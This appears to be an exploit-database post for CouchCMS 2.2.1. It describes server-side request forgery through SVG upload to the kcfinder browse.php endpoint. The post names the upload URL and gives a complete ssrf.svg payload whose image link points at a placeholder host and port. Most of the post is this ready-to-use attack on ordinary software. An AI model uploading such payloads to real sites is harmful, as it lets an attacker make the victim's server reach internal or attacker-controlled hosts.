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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CouchCMS 2.2.1 - SSRF via SVG file upload
# Date: 2021-01-25
# Exploit Author: xxcdd
# Vendor Homepage: https://github.com/CouchCMS/CouchCMS
# Software Link: https://github.com/CouchCMS/CouchCMS
# Version: v2.2.1
# Tested on: Windows 7

An issue was discovered in CouchCMS v2.2.1 (https://github.com/CouchCMS/CouchCMS/issues/130) that allows SSRF via an /couch/includes/kcfinder/browse.php SVG upload.

upload url is :/couch/includes/kcfinder/browse.php?nonce=[yournonce]&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en

ssrf.svg content:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="
http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="200" height="200">
<image height="200" width="200" xlink:href="http://<test_ip>:1234" />
</svg>